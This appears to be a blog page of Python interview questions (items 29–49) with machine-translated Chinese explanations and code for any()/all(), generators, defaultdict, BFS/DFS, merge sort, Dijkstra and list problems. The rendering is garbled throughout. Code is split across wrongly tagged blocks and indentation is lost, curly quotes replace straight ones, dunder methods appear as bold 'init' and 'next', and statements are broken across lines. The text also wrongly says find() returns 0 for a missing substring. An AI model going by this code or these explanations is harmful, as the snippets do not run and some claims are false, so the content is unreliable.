<figure class="highlight perl"><table><tr><td class="code"><pre><code class="hljs perl">dict = &#123;&#125;<br>dict[<span class="hljs-string">'1'</span>] = <span class="hljs-string">'apple'</span><br>dict[<span class="hljs-string">'3'</span>] = <span class="hljs-string">'orange'</span><br>dict[<span class="hljs-string">'2'</span>] = <span class="hljs-string">'pango'</span><br><br>lst = dict.keys()<br><br><span class="hljs-comment"># Sorted by key</span><br><span class="hljs-keyword">print</span>(<span class="hljs-string">"Sorted by key: "</span>, sorted(lst))<br><span class="hljs-string">``</span><span class="hljs-string">`  <br>`</span><span class="hljs-keyword">values</span>()<span class="hljs-string">`</span><br></code></pre></td></tr></table></figure>
<p>dict = {}<br>dict[‘1’] = ‘apple’<br>dict[‘3’] = ‘orange’<br>dict[‘2’] = ‘pango’</p>
<p>lst = dict.values()</p>
<p>#Sorted by value<br>print(“Sorted by value: “, sorted(lst))</p>
<figure class="highlight arcade"><table><tr><td class="code"><pre><code class="hljs arcade"><span class="hljs-string">`items()`</span><br></code></pre></td></tr></table></figure>
<p>dict = {}<br>dict[‘1’] = ‘apple’<br>dict[‘3’] = ‘orange’<br>dict[‘2’] = ‘strawberry’</p>
<p>lst = dict.items()</p>
<h1 id="Sorted-by-key"><a href="#Sorted-by-key" class="headerlink" title="Sorted by key"></a>Sorted by key</h1><p>print(“Sorted by key: “, sorted(lst, key = lambda x : x[0]))</p>
<p>#Sorted by value<br>print(“Sorted by value: “, sorted(lst, key = lambda x : x[1]))</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey"><br>### <span class="hljs-number">29</span>. &lt;a name=<span class="hljs-string">"29"</span>&gt;您将如何以及何时使用any（）和all（）？&lt;/a&gt;<br>#### 什么是`any()`?<br>`any（）`是一个函数，它接受一个可迭代的函数（例如列表，元组，集合等），并且如果任何元素的值为真，则返回`True`，但如果所有元素的值为`False`，则返回`False`。  <br>可以通过以下方式将`iterable`传递给`any（）``，以检查是否有任何元素为`True`：<br></code></pre></td></tr></table></figure>
<p>one_truth = [True, False, False]<br>three_lies = [0, ‘’, None]<br>print(any(one_truth))<br>print(any(three_lies))</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey">#### 什么是`all()`?<br>`all（）`是另一个Python函数，该函数具有一个可迭代的函数，如果所有元素的评估结果均为`True`，则返回`True`，否则返回`False`。  <br>与`any（）`类似，`all（）`接受列表，元组，集合或任何可迭代的对象，如下所示：<br></code></pre></td></tr></table></figure>
<p>all_true = [True, 1, ‘a’, object()]<br>one_true = [True, False, False, 0]<br>all_false = [None, ‘’, False, 0]<br>print(all(all_true))<br>print(all(one_true))<br>print(all(all_false))</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><code class="hljs markdown"><span class="hljs-section">### 30. &lt;a name="30"&gt;什么是Python文档字符串？&lt;/a&gt;</span><br>Python文档字符串提供了一种将文档与以下内容相关联的合适方法：  <br><span class="hljs-bullet">- </span>Python模块<br><span class="hljs-bullet">- </span>Python函数<br><span class="hljs-bullet">- </span>Python类  <br>这是书面代码的指定文件。<br>与常规代码注释不同，篡改应描述函数的功能，而不是功能的作用。  <br>可以使用以下命令访问文档字符串  <br><span class="hljs-code">`__doc__`</span>对象的方法  <br><span class="hljs-code">`help`</span>函数<br></code></pre></td></tr></table></figure>
<p>def Examplefunc(str): #function that outputs the str parameter<br>  print(“The value is”, str)<br>  #no return statement needed in this function</p>
<p>def Multiply(x,y): #function that computes the product of x and y<br>  return x*y #returning the product of x and y</p>
<p>#Calling the functions<br>Examplefunc(9) #9 passed as the parameter)<br>answer = Multiply(4,2) #4 and 2 passed as the parameters<br>print(“The product of x and y is:”,answer)</p>
<figure class="highlight gherkin"><table><tr><td class="code"><pre><code class="hljs gherkin"><span class="hljs-comment">### 32. &lt;a name="32"&gt;解释Python中生成器和迭代器之间的区别。&lt;/a&gt;</span><br>Python中的迭代器充当对象的持有者，以便可以对其进行迭代；<br>生成器有助于创建自定义迭代器。  <br>![mark](http://imgs.yrzdm.com/imgs/20200619/kdc8sxg1Do1G.png?imageslim)<br>除了明显的语法差异外，还有一些值得注意的差异：<br>|<span class="hljs-string"> Generator    </span>|<span class="hljs-string"> Iterator    </span>|<br>|<span class="hljs-string"> --- </span>|<span class="hljs-string"> --- </span>|<br>|<span class="hljs-string"> 使用函数实现    </span>|<span class="hljs-string"> 使用类实现    </span>|<br>|<span class="hljs-string"> 使用`yield`关键字    </span>|<span class="hljs-string"> 不使用`yield`关键字    </span>|<br>|<span class="hljs-string"> 代码简洁    </span>|<span class="hljs-string"> 代码不简洁    </span>|<br>|<span class="hljs-string"> 存储yield语句之前的所有局部变量。    </span>|<span class="hljs-string"> 没有使用局部变量    </span>|<br><span class="hljs-comment">#### 迭代器的实现</span><br></code></pre></td></tr></table></figure>
<h1 id="Function-to-generate-all-the-non-negative-numbers"><a href="#Function-to-generate-all-the-non-negative-numbers" class="headerlink" title="Function to generate all the non-negative numbers"></a>Function to generate all the non-negative numbers</h1><h1 id="up-to-the-given-non-negative-number"><a href="#up-to-the-given-non-negative-number" class="headerlink" title="up to the given non-negative number."></a>up to the given non-negative number.</h1><p>class UpTo:<br>    # giving the parameter a default value of 0<br>    def <strong>init</strong>(self, max = 0):<br>        self.max = max<br>    def <strong>iter</strong>(self):<br>        self.n = 0<br>        return self<br>    def <strong>next</strong>(self):<br>        # The next method will throw an<br>        # exception when the termination condition is reached.<br>        if self.n &gt; self.max:<br>            raise StopIteration<br>        else:<br>            result = self.n<br>            self.n += 1<br>            return result<br>for number in UpTo(5):<br>    print(number)</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">#### 生成器的实现<br></code></pre></td></tr></table></figure>
<h1 id="Function-to-generate-all-the-non-negative-numbers-1"><a href="#Function-to-generate-all-the-non-negative-numbers-1" class="headerlink" title="Function to generate all the non-negative numbers"></a>Function to generate all the non-negative numbers</h1><h1 id="up-to-the-given-non-negative-number-1"><a href="#up-to-the-given-non-negative-number-1" class="headerlink" title="up to the given non-negative number"></a>up to the given non-negative number</h1><p>def upto(n):<br>  for i in range(n+1):<br>    # The yield statement is what makes a function<br>    # a generator<br>    yield i<br>for number in upto(5):<br>  print(number)</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey">### <span class="hljs-number">33</span>. &lt;a name=<span class="hljs-string">"33"</span>&gt;Python中的defaultdict是什么？&lt;/a&gt;<br>Python字典dict包含单词和含义以及任何数据类型的键值对。<br>`defaultdict`是内置`dict`类的另一个细分。   <br>`defaultdict`可以通过给出其声明来创建，该声明可以具有三个值。<br>列出，设置或诠释。<br>根据指定的数据类型，将创建字典，并且当添加或访问`defaultdict`中不存在的任何键时，将为其分配默认值，而不是给出`KeyError`。  <br>举例：  <br>下面的第一个代码段显示了一个简单的字典，以及如何访问dict中不存在的键时如何产生错误。<br></code></pre></td></tr></table></figure>
<p>dict_demo = dict()<br>print(dict_demo[3])</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey">现在，让我们介绍一个`defaultdict`，看看会发生什么。<br></code></pre></td></tr></table></figure>
<p>from collections import defaultdict<br>defaultdict_demo = defaultdict(int)<br>print(defaultdict_demo[3])<br>Output: 0</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">在这种情况下，我们将`int`作为数据类型传递给`defaultdict`。<br>因此，将为`defaultdict_demo`中不存在的任何键分配一个值<span class="hljs-number">0</span>，除非为其定义了值。<br>&gt;注意：您也可以将set或list作为参数<br><br>### <span class="hljs-number">34.</span> &lt;a name=<span class="hljs-string">"34"</span>&gt;什么是Python模块？&lt;/a&gt;<br>Python模块是一个Python文件，其中包含要在应用程序中使用的一组函数和变量。<br>变量可以是任何类型（数组，字典，对象等）  <br>模块可以是：  <br>- 内建<br>- 用户自定义<br>#### Python模块的好处<br>在Python中创建和使用模块有两个主要好处：  <br>##### 结构化代码<br>- 通过将代码分组到一个Python文件中，逻辑上将代码组织起来，这使开发更加容易且不易出错。<br>代码更易于理解和使用。  <br>##### 可重用性<br>- 单个模块中定义的功能可以被应用程序的其他部分轻松地重用。<br>这样就无需重新创建重复的代码。<br>### <span class="hljs-number">35.</span> &lt;a nama=<span class="hljs-string">"35"</span>&gt;如何将列表转换为数组&lt;/a&gt;<br></code></pre></td></tr></table></figure>
<p>import numpy as np<br>my_list = [2,4,6,8,10]<br>my_array = np.array(my_list)<br>print(my_array)<br>print(type(my_array))<br>[2 4 6 8 10]</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey">===<br><br>### <span class="hljs-number">36</span>. &lt;a name=<span class="hljs-string">"36"</span>&gt;反转Python中的字符串&lt;/a&gt;<br>`stringname[strlength::-<span class="hljs-number">1</span>]`  <br>`stringname[::-<span class="hljs-number">1</span>]`<br>### <span class="hljs-number">37</span>. &lt;a name=<span class="hljs-string">"37"</span>&gt;检查Python字符串是否包含另一个字符串&lt;/a&gt;<br>有两种检查方法。<br>对于本文，我们将研究`find`方法。  <br>`find`方法检查字符串是否包含子字符串。<br>如果是这样，则该方法返回字符串中子字符串的起始索引；否则，返回<span class="hljs-number">0</span>。<br>否则，返回-<span class="hljs-number">1</span>。<br></code></pre></td></tr></table></figure>
<p>string.find(substring)<br>a_string=”Python Programming”<br>substring1=”Programming”<br>substring2=”Language”<br>print(“Check if “+a_string+” contains “+substring1+”:”)<br>print(a_string.find(substring1))<br>print(“Check if “+a_string+” contains “+substring2+”:”)<br>print(a_string.find(substring2))</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><code class="hljs markdown">检查字符串是否包含另一个字符串的其他两种值得注意的方法是在操作符中使用<span class="hljs-code">`in`</span>或使用<span class="hljs-code">`count`</span>方法。<br><span class="hljs-section">### 38. &lt;a name="38"&gt;在Python中实施广度优先搜索（BFS）&lt;/a&gt;</span><br>考虑以下代码中实现的图：<br>![<span class="hljs-string">mark</span>](<span class="hljs-link">http://imgs.yrzdm.com/imgs/20200619/ep9Ftu1SirWW.png?imageslim</span>)<br></code></pre></td></tr></table></figure>
<p>graph = {<br>  ‘A’ : [‘B’,’C’],<br>  ‘B’ : [‘D’, ‘E’],<br>  ‘C’ : [‘F’],<br>  ‘D’ : [],<br>  ‘E’ : [‘F’],<br>  ‘F’ : []<br>}</p>
<p>visited = [] # List to keep track of visited nodes.<br>queue = []     #Initialize a queue</p>
<p>def bfs(visited, graph, node):<br>  visited.append(node)<br>  queue.append(node)</p>
<p>  while queue:<br>    s = queue.pop(0)<br>    print (s, end = “ “) </p>
<pre><code>for neighbour in graph[s]:
  if neighbour not in visited:
    visited.append(neighbour)
    queue.append(neighbour)</code></pre><h1 id="Driver-Code"><a href="#Driver-Code" class="headerlink" title="Driver Code"></a>Driver Code</h1><p>bfs(visited, graph, ‘A’)<br>Output: A B C D E</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><code class="hljs markdown"><span class="hljs-bullet">- </span>第3-10行：图示的图表使用邻接表表示。  <br>在Python中执行此操作的一种简单方法是使用字典数据结构，其中每个顶点都有其相邻节点的存储列表。<br><span class="hljs-bullet">- </span>第12行：受访者是用于跟踪受访节点的列表。<br><span class="hljs-bullet">- </span>第13行：queue是一个列表，用于跟踪队列中当前的节点。<br><span class="hljs-bullet">- </span>第29行：bfs函数的参数是访问列表，字典形式的图形和起始节点A。<br><span class="hljs-bullet">- </span>第15-26行：bfs遵循上述算法：<br>它检查起始节点并将其附加到访问列表和队列中。<br>然后，当队列包含元素时，它将继续从队列中取出节点，如果未访问该节点的邻居，则将该节点的邻居添加到队列中，并将其标记为已访问。<br>这一直持续到队列为空。<br><span class="hljs-section">##### 时间复杂度</span><br>由于访问了所有的节点和顶点，因此图上BFS的时间复杂度为O（V + E）;<br>其中V是顶点数，E是边数。<br><span class="hljs-section">### 39. &lt;a name="39"&gt;在Python中实施深度优先搜索（DFS）&lt;/a&gt;</span><br>考虑下面的代码，该代码在以下代码中实现：<br>![<span class="hljs-string">mark</span>](<span class="hljs-link">http://imgs.yrzdm.com/imgs/20200619/ep9Ftu1SirWW.png?imageslim</span>)<br></code></pre></td></tr></table></figure>
<h1 id="Using-a-Python-dictionary-to-act-as-an-adjacency-list"><a href="#Using-a-Python-dictionary-to-act-as-an-adjacency-list" class="headerlink" title="Using a Python dictionary to act as an adjacency list"></a>Using a Python dictionary to act as an adjacency list</h1><p>graph = {<br>    ‘A’ : [‘B’,’C’],<br>    ‘B’ : [‘D’, ‘E’],<br>    ‘C’ : [‘F’],<br>    ‘D’ : [],<br>    ‘E’ : [‘F’],<br>    ‘F’ : []<br>}<br>visited = set() # Set to keep track of visited nodes.<br>def dfs(visited, graph, node):<br>    if node not in visited:<br>        print (node)<br>        visited.add(node)<br>        for neighbour in graph[node]:<br>            dfs(visited, graph, neighbour)</p>
<h1 id="Driver-Code-1"><a href="#Driver-Code-1" class="headerlink" title="Driver Code"></a>Driver Code</h1><p>dfs(visited, graph, ‘A’)<br>Output: A B D E F C</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><code class="hljs markdown"><span class="hljs-bullet">- </span>第2-9行：使用邻接表表示图示的图形-在Python中执行此操作的一种简单方法是使用字典数据结构。<br>每个顶点都有一个存储其相邻节点的列表。<br><span class="hljs-bullet">- </span>第11行：受访者集，用于跟踪受访节点。<br><span class="hljs-bullet">- </span>第21行：调用dfs函数并将其传递给被访问的集合，字典形式的图形以及作为起始节点的A。<br><span class="hljs-bullet">- </span>第13-18行：dfs遵循上述算法：<br><span class="hljs-bullet">1. </span>它首先检查当前节点是否未访问-如果是，则将其附加到已访问集合中。<br><span class="hljs-bullet">2. </span>然后，对于当前节点的每个邻居，再次调用dfs函数。<br><span class="hljs-bullet">3. </span>当访问所有节点时，将调用基本情况。<br>然后函数返回。<br><span class="hljs-section">##### 时间复杂度</span><br>由于访问了所有节点和顶点，因此图上DFS的平均时间复杂度为O（V + E），其中V是顶点数，E是边数。<br>对于树上的DFS，时间复杂度为O（V），其中V是节点数。<br><span class="hljs-section">### 40. &lt;a name="40"&gt;在Python中实现通配符&lt;/a&gt;</span><br>在Python中，您可以使用regex（正则表达式）库实现通配符。  <br>dot <span class="hljs-code">`.`</span>字符代替问号<span class="hljs-code">`?`</span>符号。<br>因此，要搜索与颜色模式匹配的所有单词，代码将如下所示。<br></code></pre></td></tr></table></figure>
<h1 id="Regular-expression-library"><a href="#Regular-expression-library" class="headerlink" title="Regular expression library"></a>Regular expression library</h1><p>import re</p>
<h1 id="Add-or-remove-the-words-in-this-list-to-vary-the-results"><a href="#Add-or-remove-the-words-in-this-list-to-vary-the-results" class="headerlink" title="Add or remove the words in this list to vary the results"></a>Add or remove the words in this list to vary the results</h1><p>wordlist = [“color”, “colour”, “work”, “working”,<br>            “fox”, “worker”, “working”]</p>
<p>for word in wordlist:<br>        # The . symbol is used in place of ? symbol<br>        if re.search(‘col.r’, word) :<br>                print (word)<br>Output:color</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">### <span class="hljs-number">41.</span> &lt;a name=<span class="hljs-string">"41"</span>&gt;在Python中实施合并排序&lt;/a&gt;<br></code></pre></td></tr></table></figure>
<p>def mergeSort(myList):<br>    if len(myList) &gt; 1:<br>        mid = len(myList) // 2<br>        left = myList[:mid]<br>        right = myList[mid:]</p>
<pre><code># Recursive call on each half
mergeSort(left)
mergeSort(right)

# Two iterators for traversing the two halves
i = 0
j = 0

# Iterator for the main list
k = 0

while i &lt; len(left) and j &lt; len(right):
    if left[i] &lt; right[j]:
      # The value from the left half has been used
      myList[k] = left[i]
      # Move the iterator forward
      i += 1
    else:
        myList[k] = right[j]
        j += 1
    # Move to the next slot
    k += 1

# For all the remaining values
while i &lt; len(left):
    myList[k] = left[i]
    i += 1
    k += 1

while j &lt; len(right):
    myList[k]=right[j]
    j += 1
    k += 1</code></pre><p>myList = [54,26,93,17,77,31,44,55,20]<br>mergeSort(myList)<br>print(myList)<br>Output: [17, 20, 26, 31, 44, 54, 55, 77, 93]</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">##### 说明<br>这是用于实现合并排序的递归方法。<br>通过此方法获得排序数组所需的步骤可以在下面找到：<br><span class="hljs-number">1.</span> 在每个递归调用中，该列表分为左右两部分，直到获得两个相邻元素为止。<br><span class="hljs-number">2.</span> 现在开始排序过程。<br>i和j迭代器遍历每个调用中的两个部分。<br>k迭代器遍历整个列表并在此过程中进行更改。<br><span class="hljs-number">3.</span> 如果i处的值小于j处的值，则将left [i]分配给myList [k]插槽，并递增i。<br>如果不是，则选择right [j]。<br><span class="hljs-number">4.</span> 这样，通过k分配的值将全部排序。<br><span class="hljs-number">5.</span> 在此循环结束时，可能没有完全遍历一半。<br>它的值仅分配给列表中的其余插槽。<br>##### 时间复杂度<br>该算法在O（n.logn）中起作用。<br>这是因为列表在log（n）个调用中被拆分，并且合并过程在每个调用中花费线性时间。<br>### <span class="hljs-number">42.</span> &lt;a name=<span class="hljs-string">"42"</span>&gt;在Python中实现Dijkstra的算法&lt;/a&gt;<br>##### 基本算法<br><span class="hljs-number">1.</span> 从每个未访问的顶点中，选择距离最小的顶点并进行访问。<br><span class="hljs-number">2.</span> 更新已访问顶点的每个相邻顶点的距离，该顶点的当前距离大于其总和以及它们之间边缘的权重。<br><span class="hljs-number">3.</span> 重复步骤<span class="hljs-number">1</span>和<span class="hljs-number">2</span>，直到访问了所有顶点。<br></code></pre></td></tr></table></figure>
<p>import sys</p>
<h1 id="Function-to-find-out-which-of-the-unvisited-node"><a href="#Function-to-find-out-which-of-the-unvisited-node" class="headerlink" title="Function to find out which of the unvisited node"></a>Function to find out which of the unvisited node</h1><h1 id="needs-to-be-visited-next"><a href="#needs-to-be-visited-next" class="headerlink" title="needs to be visited next"></a>needs to be visited next</h1><p>def to_be_visited():<br>  global visited_and_distance<br>  v = -10</p>
<h1 id="Choosing-the-vertex-with-the-minimum-distance"><a href="#Choosing-the-vertex-with-the-minimum-distance" class="headerlink" title="Choosing the vertex with the minimum distance"></a>Choosing the vertex with the minimum distance</h1><p>  for index in range(number_of_vertices):<br>    if visited_and_distance[index][0] == 0 <br>      and (v &lt; 0 or visited_and_distance[index][1] &lt;= <br>      visited_and_distance[v][1]):<br>        v = index<br>  return v</p>
<h1 id="Creating-the-graph-as-an-adjacency-matrix"><a href="#Creating-the-graph-as-an-adjacency-matrix" class="headerlink" title="Creating the graph as an adjacency matrix"></a>Creating the graph as an adjacency matrix</h1><p>vertices = [[0, 1, 1, 0],<br>            [0, 0, 1, 0],<br>            [0, 0, 0, 1],<br>            [0, 0, 0, 0]]<br>edges =  [[0, 3, 4, 0],<br>          [0, 0, 0.5, 0],<br>          [0, 0, 0, 1],<br>          [0, 0, 0, 0]]</p>
<p>number_of_vertices = len(vertices[0])</p>
<h1 id="The-first-element-of-the-lists-inside-visited-and-distance"><a href="#The-first-element-of-the-lists-inside-visited-and-distance" class="headerlink" title="The first element of the lists inside visited_and_distance"></a>The first element of the lists inside visited_and_distance</h1><h1 id="denotes-if-the-vertex-has-been-visited"><a href="#denotes-if-the-vertex-has-been-visited" class="headerlink" title="denotes if the vertex has been visited."></a>denotes if the vertex has been visited.</h1><h1 id="The-second-element-of-the-lists-inside-the-visited-and-distance"><a href="#The-second-element-of-the-lists-inside-the-visited-and-distance" class="headerlink" title="The second element of the lists inside the visited_and_distance"></a>The second element of the lists inside the visited_and_distance</h1><h1 id="denotes-the-distance-from-the-source"><a href="#denotes-the-distance-from-the-source" class="headerlink" title="denotes the distance from the source."></a>denotes the distance from the source.</h1><p>visited_and_distance = [[0, 0]]<br>for i in range(number_of_vertices-1):<br>  visited_and_distance.append([0, sys.maxsize])</p>
<p>for vertex in range(number_of_vertices):</p>
<h1 id="Finding-the-next-vertex-to-be-visited"><a href="#Finding-the-next-vertex-to-be-visited" class="headerlink" title="Finding the next vertex to be visited."></a>Finding the next vertex to be visited.</h1><p>  to_visit = to_be_visited()<br>  for neighbor_index in range(number_of_vertices):<br>    # Calculating the new distance for all unvisited neighbours<br>    # of the chosen vertex.<br>    if vertices[to_visit][neighbor_index] == 1 and <br>     visited_and_distance[neighbor_index][0] == 0:<br>      new_distance = visited_and_distance[to_visit][1] <br>      + edges[to_visit][neighbor_index]<br>      # Updating the distance of the neighbor if its current distance<br>      # is greater than the distance that has just been calculated<br>      if visited_and_distance[neighbor_index][1] &gt; new_distance:<br>        visited_and_distance[neighbor_index][1] = new_distance<br>    # Visiting the vertex found earlier<br>    visited_and_distance[to_visit][0] = 1</p>
<p>i = 0 </p>
<h1 id="Printing-out-the-shortest-distance-from-the-source-to-each-vertex"><a href="#Printing-out-the-shortest-distance-from-the-source-to-each-vertex" class="headerlink" title="Printing out the shortest distance from the source to each vertex"></a>Printing out the shortest distance from the source to each vertex</h1><p>for distance in visited_and_distance:<br>  print(“The shortest distance of “,chr(ord(‘a’) + i),<br>  “ from the source vertex a is:”,distance[1])<br>  i = i + 1</p>
<p>Output:<br>The shortest distance of a from the source vertex a is: 0<br>The shortest distance of b from the source vertex a is: 3<br>The shortest distance of c from the source vertex a is: 3.5<br>The shortest distance of d from the source vertex a is: 4.5</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">### <span class="hljs-number">43.</span> &lt;a name=<span class="hljs-string">"43"</span>&gt;合并两个排序列表&lt;/a&gt;<br></code></pre></td></tr></table></figure>
<h1 id="Merge-list1-and-list2-and-return-resulted-list"><a href="#Merge-list1-and-list2-and-return-resulted-list" class="headerlink" title="Merge list1 and list2 and return resulted list"></a>Merge list1 and list2 and return resulted list</h1><p>def merge_lists(lst1, lst2):<br>    index_arr1 = 0<br>    index_arr2 = 0<br>    index_result = 0<br>    result = []</p>
<pre><code>for i in range(len(lst1)+len(lst2)):
    result.append(i)
# Traverse Both lists and insert smaller value from arr1 or arr2
# into result list and then increment that lists index.
# If a list is completely traversed, while other one is left then just
# copy all the remaining elements into result list
while (index_arr1 &lt; len(lst1)) and (index_arr2 &lt; len(lst2)):
    if (lst1[index_arr1] &lt; lst2[index_arr2]):
        result[index_result] = lst1[index_arr1]
        index_result += 1
        index_arr1 += 1
    else:
        result[index_result] = lst2[index_arr2]
        index_result += 1
        index_arr2 += 1
while (index_arr1 &lt; len(lst1)):
    result[index_result] = lst1[index_arr1]
    index_result += 1
    index_arr1 += 1
while (index_arr2 &lt; len(lst2)):
    result[index_result] = lst2[index_arr2]
    index_result += 1
    index_arr2 += 1
return result</code></pre><p>print(merge_lists([4, 5, 6], [-2, -1, 0, 7]))<br>Output: [-2, -1, 0, 4, 5, 6, 7]</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">上面的解决方案是解决此问题的更直观的方法。<br><span class="hljs-number">1.</span> 首先创建一个新的空列表。<br>该列表将按排序顺序填充两个列表的所有元素，然后返回。<br><span class="hljs-number">2.</span> 然后将三个变量初始化为零以存储每个列表的当前索引。<br><span class="hljs-number">3.</span> 然后在每个列表的当前索引处比较两个给定列表的元素，将较小的列表追加到新列表，然后将该列表的索引增加<span class="hljs-number">1</span>。<br><span class="hljs-number">4.</span> 重复直到到达其中一个列表的末尾，然后将另一个列表追加到合并列表中。<br>##### 时间复杂度<br>此算法的时间复杂度为O（n + m）O（n + m），其中nn和mm是列表的长度。<br>这是因为两个列表都至少迭代了一次。<br>请注意，也可以通过就地合并解决此问题。<br>### <span class="hljs-number">44.</span> &lt;a name=<span class="hljs-string">"44"</span>&gt;查找两个加起来为“ k”的数字&lt;/a&gt;<br></code></pre></td></tr></table></figure>
<p>def binarySearch(a, item, curr):<br>    first = 0<br>    last = len(a) - 1<br>    found = False<br>    index = -1<br>    while first &lt;= last and not found:<br>        mid = (first + last) // 2<br>        if a[mid] == item:<br>            index = mid<br>            found = True<br>        else:<br>            if item &lt; a[mid]:<br>                last = mid - 1<br>            else:<br>                first = mid + 1<br>    if found:<br>        return index<br>    else:<br>        return -1</p>
<p>def findSum(lst, k):<br>    lst.sort()<br>    for j in range(len(lst)):<br>        # find the difference in list through binary search<br>        # return the only if we find an index<br>        index = binarySearch(lst, k -lst[j], j)<br>        if index is not -1 and index is not j:<br>            return [lst[j], k -lst[j]]</p>
<p>print(findSum([1, 5, 3], 2))<br>print(findSum([1, 2, 3, 4], 5))<br>Output:<br>None<br>[1,4]</p>
<figure class="highlight autohotkey"><table><tr><td class="code"><pre><code class="hljs autohotkey">您可以通过首先对列表进行排序来解决此问题。<br>然后，对于列表中的每个元素，使用二进制搜索来查找该元素与预期总和之间的差异。<br>换句话说，如果预期总和为`k`，而排序列表的第一个元素为`a0`  <br>我们将进行二进制搜索`a0`  <br>重复搜索直到找到一个。<br>您可以根据需要以递归或迭代的方式实现`binarySearch（）`函数。<br>##### 时间复杂度<br>由于大多数基于比较的最佳排序函数均采用O（nlogn），因此我们假设Python .sort（）函数采用相同的排序方式。<br>此外，由于二进制搜索要花费O（logn）时间来查找单个元素，因此对所有n个元素进行二进制搜索都将花费O（nlogn）时间。<br><br><br>### <span class="hljs-number">45</span>. &lt;a name=<span class="hljs-string">"45"</span>&gt;查找列表中的第一个非重复整数&lt;/a&gt;<br>在这里，您可以使用Python字典来记录重复次数。<br></code></pre></td></tr></table></figure>
<p>[9,2,3,2,6,6]<br>def findFirstUnique(lst):<br>    counts = {}  # Creating a dictionary<br>    # Initializing dictionary with pairs like (lst[i],(count,order))<br>    counts = counts.fromkeys(lst, (0,len(lst)))<br>    order = 0<br>    for ele in lst:<br>        # counts[ele][0] += 1  # Incrementing for every repitition<br>        # counts[ele][1] = order<br>        counts[ele] = (counts[ele][0]+1 , order)<br>        order += 1 # increment order<br>    answer = None<br>    answer_key = None<br>    # filter non-repeating with least order<br>    for ele in lst:<br>        if (counts[ele][0] is 1) and (answer is None):<br>            answer = counts[ele]<br>            answer_key = ele<br>        elif answer is None:<br>            continue<br>        elif (counts[ele][0] is 1) and (counts[ele][1] &lt; answer[1]):<br>            answer = counts[ele]<br>            answer_key = ele<br>    return answer_key<br>print(findFirstUnique([1, 1, 1, 2]))<br>Output: 2</p>
<figure class="highlight clean"><table><tr><td class="code"><pre><code class="hljs clean">counts字典中的键是给定列表的元素，值是每个元素出现在列表中的次数。<br>我们返回在第<span class="hljs-number">23</span>行的列表中最多出现一次的元素。我们需要保持元组值中每个键的更新顺序。<br>##### 时间复杂度<br>由于该列表仅被迭代两次，并且使用线性时间复杂度来初始化计数字典，因此该解决方案的时间复杂度是线性的，即O（n）。<br><br>### <span class="hljs-number">46.</span> &lt;a name=<span class="hljs-string">"46"</span>&gt;查找链接列表的中间值&lt;/a&gt;<br>在这里，您可以使用两个可以同时工作的指针。<br>这样想：<br>- 快速指针一次移动两步，直到列表结尾<br>- 慢速指针一次移动一步<br>- 当快速指针到达末尾时，慢速指针将在中间<br>使用此算法，由于长度和遍历直到中间的遍历的计算是并行进行的，因此可以使过程更快。  <br>##### 时间复杂度<br>您以两倍的速度遍历链表，因此它肯定更快。<br>但是，瓶颈复杂度仍然是O（n）。<br>### <span class="hljs-number">47.</span> &lt;a name=<span class="hljs-string">"47"</span>&gt;反转队列的第一个“ k”元素&lt;/a&gt;<br>##### 说明<br>检查输入是否无效，即队列是否为空，`k`是否大于队列，以及在队列`k`是否为负  <br>如果输入有效，则从创建堆栈开始。  <br>可用的堆栈功能有：<br>- 构造函数：myStack（）<br>- 推送元素：push（int）将元素添加到堆栈中。<br>- 弹出元素：pop（）从堆栈中删除或弹出顶部元素。<br>- 检查是否为空：如果堆栈为空，则isEmpty（）返回true，否则返回false。<br>- 返回：back（）返回在末尾添加的元素，而不将其从堆栈中删除。<br>- 返回front：front（）返回顶部元素（已在开头添加），而不将其从堆栈中删除。  <br>我们的函数`reverseK（queue，k）`将queue作为输入参数。<br>`k`表示我们要反转的元素数。  <br>可用的队列功能是：<br>- 构造函数：myQueue（size）size应该是一个整数，指定队列的大小。<br>- 入队：enqueue（int）<br>- 出队：dequeue（）<br>- 检查是否为空：isEmpty（）<br>- 检查尺寸：size（）<br>现在，继续进行实际的逻辑，从队列的前面使前`k`个元素出队，并使用第<span class="hljs-number">8</span>行中的`stack.push（queue.dequeue（））`将它们推入我们先前创建的堆栈中。  <br>将所有`k`个值都压入堆栈后，开始弹出它们并将它们按顺序排入队列的后面。<br>我们将在第<span class="hljs-number">12</span>行中使用`queue.enqueue（stack.pop（））`进行此操作。在此步骤的最后，我们将得到一个空堆栈，并将`k`个反向元素添加到队列的后面。  <br>现在我们需要将这些反向元素移到队列的最前面。<br>为此，我们在第<span class="hljs-number">16</span>行中使用了`queue.enqueue（queue.dequeue（））`。每个元素都首先从背面出队。<br>### <span class="hljs-number">48.</span> &lt;a name=<span class="hljs-string">"48"</span>&gt;查找二叉搜索树（BST）的高度&lt;/a&gt;<br>在这里，您可以使用递归来找到左侧和右侧子树的高度。<br>##### 说明<br>在这里，如果给定节点为None，则返回<span class="hljs-number">-1</span>。<br>然后，我们在左右子树上调用findHeight（）函数，并返回具有更大值加<span class="hljs-number">1</span>的子树。如果给定节点为None，则不返回<span class="hljs-number">0</span>，因为叶节点的高度为<span class="hljs-number">0</span>。  <br>时间复杂度  <br>代码的时间复杂度为O（n）O（n），因为必须遍历整个树的所有节点。<br>### <span class="hljs-number">49.</span> &lt;a name=<span class="hljs-string">"49"</span>&gt;将最大堆转换为最小堆&lt;/a&gt;<br></code></pre></td></tr></table></figure>
